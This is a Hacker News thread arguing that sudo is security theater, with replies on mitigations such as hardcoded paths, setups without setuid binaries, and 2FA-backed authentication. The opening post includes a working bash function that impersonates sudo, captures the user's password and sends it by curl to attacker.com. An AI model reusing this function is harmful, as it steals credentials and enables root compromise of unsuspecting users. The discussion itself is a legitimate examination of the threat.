alt Hacker NewsSudo is security theater.
Malware can make a fake unprivileged sudo that sniffs your password.
function sudo () {
realsudo=$(which sudo);
read -r -s -p "[sudo] password for $USER: " password;
echo "$USER: $password" | \
curl -F 'p=<-' https://attacker.com >/dev/null 2>&1;
$realsudo -S <<< "$password" -u root bash -C "exit" >/dev/null 2>&1;
$realsudo "${@:1}";
}Replies
Use /usr/bin/sudo yourcommand with any intermediate command not using path but it's real path hard coded.
Edited: Previous suggested using \sudo but it depends of the variable path which can be modified by the attacker.
To clarify, when does this run? Like you download malware A, run malware A and this function definition changes sudo for it, or sudo for other cases?
> Sudo is security theater.
Yes indeed.
> Malware can make a fake unprivileged sudo that sniffs your password.
Not on my Linux workstation though. No sudo command installed. Not a single setuid binary. Not even su. So basically only root can use su and nobody else.
Only way to log in at root is either by going to tty2 (but then the root password is 30 characters long, on purpose, to be sure I don't ever enter it, so login from tty2 ain't really an option) or by login in from another computer, using a Yubikey (no password login allowed). That other computer is on a dedicated LAN (a physical LAN, not a VLAN) that exists only for the purpose of allowing root to ssh in (yes, I do allow root to SSH in: but only with using U2F/Yubikey... I have to as it's the only real way to log in as root).
It is what it is and this being HN people are going to bitch that it's bad, insecure, inconvenient (people typically love convenience at the expense of security), etc. but I've been using basically that setup since years. When I need to really be root (which is really not often), I use a tiny laptop on my desk that serves as a poor admin's console (but over SSH and only with a Yubikey, so it'd be quite a feat to attack that).
Funnily enough last time I logged in as root (from the laptop) was to implement the workaround to blacklist all the modules for copy.fail/dirtyfrag.
That laptop doesn't even have any Wifi driver installed. No graphical interface. It's minimal. It's got a SSH client, a firewall (and so does the workstation) and that's basically it. As it's on a separate physical LAN, no other machine can see it on the network.
I did set that up just because I could. Turns out it's fully usable so I kept using it.
Now of course I've got servers, VMs, containers, etc. at home too (and on dedicated servers): that's another topic. But on my main workstation a sudo replacement function won't trick me.
It would be great if
1. shells support the notion of privileged commands, that can't be overridden with PATH manipulations, aliases or functions.
2. Sudo (or PAM actually) can authenticate with your identity provider (like Entra ID) instead of a local password. Then there is nothing to sniff and you can also use 2FA or passkeys.
Just sudon't.
[dead]
Stupid thought.
Make alias called sdo that echoes sudo path and hash every time you use it to stderr.
That's security by obscurity though.